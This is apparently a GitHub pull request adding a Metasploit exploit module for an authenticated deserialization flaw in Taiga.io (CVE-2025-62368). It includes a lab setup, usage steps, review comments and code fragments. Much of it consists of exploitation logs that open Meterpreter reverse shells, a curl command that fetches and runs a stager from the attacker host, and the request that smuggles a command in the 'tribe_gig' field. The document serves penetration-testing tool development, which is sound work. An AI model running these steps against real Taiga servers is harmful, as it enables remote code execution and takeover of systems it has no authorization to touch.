Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368) #20700

whotwagner · 2025-11-15T22:46:42Z

This module exploits an authenticated unserialize vulnerability in Taiga.io that allows to execute
commands remotely. This vulnerability affects Taiga.io <= 6.8.3 and is fixed in 6.9.0.

Docker Installation

This exploit was tested using a taiga.io docker container and docker-compose.
First the taiga.io docker container was downloaded: git clone https://github.com/taigaio/taiga-docker.git.
Next the tag 6.8.3 was added to the taiga-back image in docker-compose.yml:

version: "3.5"

x-environment:
  &default-back-environment
  # These environment variables will be used by taiga-back and taiga-async.
  # Database settings
  POSTGRES_DB: "taiga"
  POSTGRES_USER: "${POSTGRES_USER}"
  POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
  POSTGRES_HOST: "taiga-db"
  # Taiga settings
  TAIGA_SECRET_KEY: "${SECRET_KEY}"
  TAIGA_SITES_SCHEME: "${TAIGA_SCHEME}"
  TAIGA_SITES_DOMAIN: "${TAIGA_DOMAIN}"
  TAIGA_SUBPATH: "${SUBPATH}"
  # Email settings.
  EMAIL_BACKEND: "django.core.mail.backends.${EMAIL_BACKEND}.EmailBackend"
  DEFAULT_FROM_EMAIL: "${EMAIL_DEFAULT_FROM}"
  EMAIL_USE_TLS: "${EMAIL_USE_TLS}"
  EMAIL_USE_SSL: "${EMAIL_USE_SSL}"
  EMAIL_HOST: "${EMAIL_HOST}"
  EMAIL_PORT: "${EMAIL_PORT}"
  EMAIL_HOST_USER: "${EMAIL_HOST_USER}"
  EMAIL_HOST_PASSWORD: "${EMAIL_HOST_PASSWORD}"
  # Rabbitmq settings
  RABBITMQ_USER: "${RABBITMQ_USER}"
  RABBITMQ_PASS: "${RABBITMQ_PASS}"
  # Telemetry settings
  ENABLE_TELEMETRY: "${ENABLE_TELEMETRY}"
  # ...your customizations go here

x-volumes:
  &default-back-volumes
  # These volumens will be used by taiga-back and taiga-async.
  - taiga-static-data:/taiga-back/static
  - taiga-media-data:/taiga-back/media
  # - ./config.py:/taiga-back/settings/config.py

services:
  taiga-db:
    image: postgres:12.3
    environment:
      POSTGRES_DB: "taiga"
      POSTGRES_USER: "${POSTGRES_USER}"
      POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER}"]
      interval: 2s
      timeout: 15s
      retries: 5
      start_period: 3s
    volumes:
      - taiga-db-data:/var/lib/postgresql/data
    networks:
      - taiga

  taiga-back:
    image: taigaio/taiga-back:6.8.3
    environment: *default-back-environment
    volumes: *default-back-volumes
    networks:
      - taiga
    depends_on:
      taiga-db:
        condition: service_healthy
      taiga-events-rabbitmq:
        condition: service_started
      taiga-async-rabbitmq:
        condition: service_started

  taiga-async:
    image: taigaio/taiga-back:6.8.3
    entrypoint: ["/taiga-back/docker/async_entrypoint.sh"]
    environment: *default-back-environment
    volumes: *default-back-volumes
    networks:
      - taiga
    depends_on:
      taiga-db:
        condition: service_healthy
      taiga-events-rabbitmq:
        condition: service_started
      taiga-async-rabbitmq:
        condition: service_started

  taiga-async-rabbitmq:
    image: rabbitmq:3.8-management-alpine
    environment:
      RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}"
      RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}"
      RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}"
      RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}"
    hostname: "taiga-async-rabbitmq"
    volumes:
      - taiga-async-rabbitmq-data:/var/lib/rabbitmq
    networks:
      - taiga

  taiga-front:
    image: taigaio/taiga-front:latest
    environment:
      TAIGA_URL: "${TAIGA_SCHEME}://${TAIGA_DOMAIN}"
      TAIGA_WEBSOCKETS_URL: "${WEBSOCKETS_SCHEME}://${TAIGA_DOMAIN}"
      TAIGA_SUBPATH: "${SUBPATH}"
      # ...your customizations go here
    networks:
      - taiga
    # volumes:
    #   - ./conf.json:/usr/share/nginx/html/conf.json

  taiga-events:
    image: taigaio/taiga-events:latest
    environment:
      RABBITMQ_USER: "${RABBITMQ_USER}"
      RABBITMQ_PASS: "${RABBITMQ_PASS}"
      TAIGA_SECRET_KEY: "${SECRET_KEY}"
    networks:
      - taiga
    depends_on:
      taiga-events-rabbitmq:
        condition: service_started

  taiga-events-rabbitmq:
    image: rabbitmq:3.8-management-alpine
    environment:
      RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}"
      RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}"
      RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}"
      RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}"
    hostname: "taiga-events-rabbitmq"
    volumes:
      - taiga-events-rabbitmq-data:/var/lib/rabbitmq
    networks:
      - taiga

  taiga-protected:
    image: taigaio/taiga-protected:latest
    environment:
      MAX_AGE: "${ATTACHMENTS_MAX_AGE}"
      SECRET_KEY: "${SECRET_KEY}"
    networks:
      - taiga

  taiga-gateway:
    image: nginx:1.19-alpine
    ports:
      - "9000:80"
    volumes:
      - ./taiga-gateway/taiga.conf:/etc/nginx/conf.d/default.conf
      - taiga-static-data:/taiga/static
      - taiga-media-data:/taiga/media
    networks:
      - taiga
    depends_on:
      - taiga-front
      - taiga-back
      - taiga-events

volumes:
  taiga-static-data:
  taiga-media-data:
  taiga-db-data:
  taiga-async-rabbitmq-data:
  taiga-events-rabbitmq-data:

networks:
  taiga:

The file .env was also modified so that the variable TAIGA_DOMAIN points to the IP-address to the server:

# Taiga's URLs - Variables to define where Taiga should be served
TAIGA_SCHEME=http  # serve Taiga using "http" or "https" (secured) connection
TAIGA_DOMAIN=192.168.233.117:9000  # Taiga's base URL
SUBPATH="" # it'll be appended to the TAIGA_DOMAIN (use either "" or a "/subpath")
WEBSOCKETS_SCHEME=ws  # events connection protocol (use either "ws" or "wss")

# Taiga's Secret Key - Variable to provide cryptographic signing
SECRET_KEY="taiga-secret-key"  # Please, change it to an unpredictable value!!

# Taiga's Database settings - Variables to create the Taiga database and connect to it
POSTGRES_USER=taiga  # user to connect to PostgreSQL
POSTGRES_PASSWORD=taiga  # database user's password

# Taiga's SMTP settings - Variables to send Taiga's emails to the users
EMAIL_BACKEND=console  # use an SMTP server or display the emails in the console (either "smtp" or "console")
EMAIL_HOST=smtp.host.example.com  # SMTP server address
EMAIL_PORT=587   # default SMTP port
EMAIL_HOST_USER=user  # user to connect the SMTP server
EMAIL_HOST_PASSWORD=password  # SMTP user's password
[email protected]  # default email address for the automated emails
# EMAIL_USE_TLS/EMAIL_USE_SSL are mutually exclusive (only set one of those to True)
EMAIL_USE_TLS=True  # use TLS (secure) connection with the SMTP server
EMAIL_USE_SSL=False  # use implicit TLS (secure) connection with the SMTP server

# Taiga's RabbitMQ settings - Variables to leave messages for the realtime and asynchronous events
RABBITMQ_USER=taiga  # user to connect to RabbitMQ
RABBITMQ_PASS=taiga  # RabbitMQ user's password
RABBITMQ_VHOST=taiga  # RabbitMQ container name
RABBITMQ_ERLANG_COOKIE=secret-erlang-cookie  # unique value shared by any connected instance of RabbitMQ

# Taiga's Attachments - Variable to define how long the attachments will be accesible
ATTACHMENTS_MAX_AGE=360  # token expiration date (in seconds)

# Taiga's Telemetry - Variable to enable or disable the anonymous telemetry
ENABLE_TELEMETRY=False

NOTE: Change the IP-address for TAIGA_DOMAIN for your setup

After starting the container with ./launch-taiga.sh we also have to create an admin account using: ./taiga-manage.sh createsuperuser.

Now open a browser and navigate to: http://192.168.233.117:9000 (use your IP-address), login as admin and create a project(select KANBAN). Provide any project-name and any project-description, select "Public Project" and create the project.

NOTE: This exploit works needs permissions to create user-stories. Therefore it works as a normal project member or as admin.

Verification Steps

Do: use exploit/multi/http/taiga_tribe_gig_unserial
Do: set RHOSTS [ips]
Do: set LHOST [lhost]
Do: set RPORT 9000
Do: set USERNAME admin
Do: set PASSWORD admin
Do: set SSL false
Do: run
You should get a shell after a while

Options

TARGETURI

Remote web path to the taiga installation (default: /)

USERNAME

The any existing username to authenticate to taiga. (Needs permissions on a project to create user-stories)

PASSWORD

The password for the user.

SSL

Use SSL to access the taiga-server (default: true)

Scenarios

In this scenario the taiga-server has the IP address 192.168.233.117. User admin exists with password admin and
a kanban project was already created in taiga and user admin is allowed to create userstories for that project.

Taiga 6.8.3(docker-compose):

The following demo shows how to use the exploit:

msf > use exploit/multi/http/taiga_tribe_gig_unserial
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/http/taiga_tribe_gig_unserial) > set RHOSTS 192.168.233.117
RHOSTS => 192.168.233.117
msf exploit(multi/http/taiga_tribe_gig_unserial) > set RPORT 9000
RPORT => 9000
msf exploit(multi/http/taiga_tribe_gig_unserial) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf exploit(multi/http/taiga_tribe_gig_unserial) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/taiga_tribe_gig_unserial) > set PASSWORD admin
PASSWORD => admin
msf exploit(multi/http/taiga_tribe_gig_unserial) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf exploit(multi/http/taiga_tribe_gig_unserial) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[*] Sending stage (23408 bytes) to 172.20.0.8
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 172.20.0.8:39148) at 2025-11-08 15:26:54 +0000

meterpreter > getuid
Server username: taiga

…E-2025-62368)

…ploit-framework into exploit_taiga_tribe_gig

documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.md

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.rb

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

msutovsky-r7 · 2025-11-18T07:16:42Z

msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true 
[*] Started reverse TCP handler on 172.20.0.1:4444 
[*] Sending payload..
[*] Sending stage (23408 bytes) to 172.21.0.9
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[-] Meterpreter session 1 is not valid and will be closed
[*] Sending stage (23408 bytes) to 172.21.0.9
[*] 127.0.0.1 - Meterpreter session 1 closed.
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died
[*] Meterpreter session 2 opened (172.20.0.1:4444 -> 172.21.0.9:50962) at 2025-11-18 08:02:55 +0100

meterpreter > sysinfo
Computer        : 7b73f2c3308d
OS              : Linux 6.17.4-76061704-generic #202510191616~1762410050~22.04~898873a SMP PREEMPT_DYNAMIC Thu N
gArchitecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > getuid
Server username: taiga

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.md

msutovsky-r7

msf exploit(multi/http/taiga_tribe_gig_unserial) > check
[*] Elapsed time: 9.395494782000242 seconds.
[+] 127.0.0.1:9000 - The target is vulnerable. Detected vulnerable Taiga.io
msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true 
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Sending payload..
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted

[*] Sending stage (23404 bytes) to 172.21.0.8
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.8:51962) at 2025-11-19 22:22:37 +0100

meterpreter > sysinfo
Computer        : cb06bcf1e826
OS              : Linux 6.17.4-76061704-generic #202510191616~1762410050~22.04~898873a SMP PREEMPT_DYNAMIC Thu N
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > getuid
Server username: taiga

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

msutovsky-r7

Linux target

msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true 
[*] Command to run on remote host: curl -so ./dcYpUqZvpXE http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./dcYpUqZvpXE;./dcYpUqZvpXE&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Sending payload..
[*] Client 172.21.0.9 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.9 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.9
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[*] Meterpreter session 5 opened (172.17.0.1:4444 -> 172.21.0.9:39812) at 2025-11-20 13:10:04 +0100

meterpreter > sysinfo
Computer     : 172.21.0.9
OS           : Debian 12.10 (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: taiga

Python target

msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true 
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Sending payload..
[*] Sending stage (23404 bytes) to 172.21.0.9
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[-] Meterpreter session 1 is not valid and will be closed
[*] Sending stage (23408 bytes) to 172.21.0.9
[*] 127.0.0.1 - Meterpreter session 1 closed.
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.9:49202) at 2025-11-20 12:27:29 +0100

meterpreter > sysinfo 
Computer        : 16ea22543fa5
OS              : Linux 6.17.4-76061704-generic #202510191616~1762410050~22.04~898873a SMP PREEMPT_DYNAMIC Thu N
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > getuid
Server username: taiga

msutovsky-r7 · 2025-11-20T12:13:04Z

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

I don't think this should be in multi - that category typically means multiple operating system (in this case, it's most for Linux and you can run Python payload there right)?

It's written in python and the payload is a python-payload. so i thought that it might be multi. but in the docs for the self-hosted installations of taiga, they always propose to install it via docker

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

msutovsky-r7 · 2025-11-20T14:53:16Z

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

+            }
+          ],
+        ],
+        'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ],


Would you mind explain little bit why CmdStagerFlavor is used here? Specifically, why curl and wget, since both are covered in fetch payloads?

there is not deeper meaning, other than I don't have enough knowledge about that part of the framework. :/

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

msutovsky-r7 · 2025-11-20T14:58:09Z

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

+    )
+  end
+
+  class TaigaClientException < StandardError; end


Would you mind moving this to beginning of file, to make it little bit more clear?

msutovsky-r7 · 2025-11-20T15:21:57Z

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

+      get_project
+      project_status = get_status
+    rescue TaigaClientException => e
+      Exploit::CheckCode::Unknown(e)


Would you mind return different check codes for various situation? In the current state, if for example authenticate fails, the check method returns Unknown, but there might be various reasons why it did and we're missing here for example a case when we should return Detected.

msutovsky-r7 · 2025-11-20T15:23:25Z

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

+      send_request_cgi(
+        'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
+        'method' => 'POST',
+        'ctype' => 'application/json',
+        'headers' => { 'Authorization' => "Bearer #{@token}" },
+        'data' => {
+          _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
+          tribe_gig: command.to_s
+        }.to_json
+      )


This looks like repeated code, would you mind moving it to separate method?

msutovsky-r7 · 2025-11-20T15:24:36Z

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

+  end
+
+  def delete_userstory(id)
+    send_request_cgi(


Can we check here if the deletion was successful by checking response?

i wasn't sure if it's so important. it's just clean_up and I don't want to fail just because the clean up did not work

msutovsky-r7 · 2025-11-20T15:25:41Z

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

+      authenticate(datastore['USERNAME'], datastore['PASSWORD'])
+      get_project
+    rescue TaigaClientException => e
+      fail_with(Failure::UnexpectedReply, e)


Also same as in check method, can we expand the various fail_with options for various situations?

Co-authored-by: msutovsky-r7 <[email protected]>

whotwagner added 3 commits November 15, 2025 22:36

Fixed style-issues

466805a

Added exploit module for unserialization vulnerability in taiga.io(CV…

ba24ea0

…E-2025-62368)

Merge branch 'exploit_taiga_tribe_gig' of github.com:whotwagner/metas…

ffe3d0a

…ploit-framework into exploit_taiga_tribe_gig

msutovsky-r7 added module docs labels Nov 17, 2025

msutovsky-r7 self-assigned this Nov 17, 2025

msutovsky-r7 reviewed Nov 17, 2025

View reviewed changes

msutovsky-r7 changed the title ~~Exploit taiga tribe gig~~ Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368) Nov 17, 2025

msutovsky-r7 reviewed Nov 17, 2025

View reviewed changes

documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.rb Outdated Show resolved Hide resolved

msutovsky-r7 reviewed Nov 18, 2025

View reviewed changes

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb Outdated Show resolved Hide resolved

whotwagner added 3 commits November 18, 2025 09:52

Renamed extension for taiga-exploit-docs to .md

351bba0

Refactoring taiga-exploit

f80f10c

Fixed a typo in taiga-module-docs

5c6b054

msutovsky-r7 reviewed Nov 18, 2025

View reviewed changes

documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.md Show resolved Hide resolved

whotwagner added 5 commits November 19, 2025 19:09

Refactoring taiga-exploit and docs

4c3ee4f

Refactoring taiga-exploit

0781d61

Refactoring taiga-exploit

467b5c2

Refactoring taiga-exploit

d8bb16d

Refactoring taiga-exploit

1e5bd6d

msutovsky-r7 reviewed Nov 19, 2025

View reviewed changes

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb Outdated Show resolved Hide resolved

modules/exploits/multi/http/taiga_tribe_gig_unserial.rb Outdated Show resolved Hide resolved

Refactoring taiga-exploit

04e6469

msutovsky-r7 reviewed Nov 20, 2025

View reviewed changes

whotwagner and others added 2 commits November 20, 2025 16:55

Update modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

932eae7

Co-authored-by: msutovsky-r7 <[email protected]>

Update modules/exploits/multi/http/taiga_tribe_gig_unserial.rb

55f660c

Co-authored-by: msutovsky-r7 <[email protected]>

Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368) #20700

Are you sure you want to change the base?

Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368) #20700

Conversation

whotwagner commented Nov 15, 2025

Docker Installation

Verification Steps

Options

TARGETURI

USERNAME

PASSWORD

SSL

Scenarios

Taiga 6.8.3(docker-compose):

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

msutovsky-r7 commented Nov 18, 2025

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants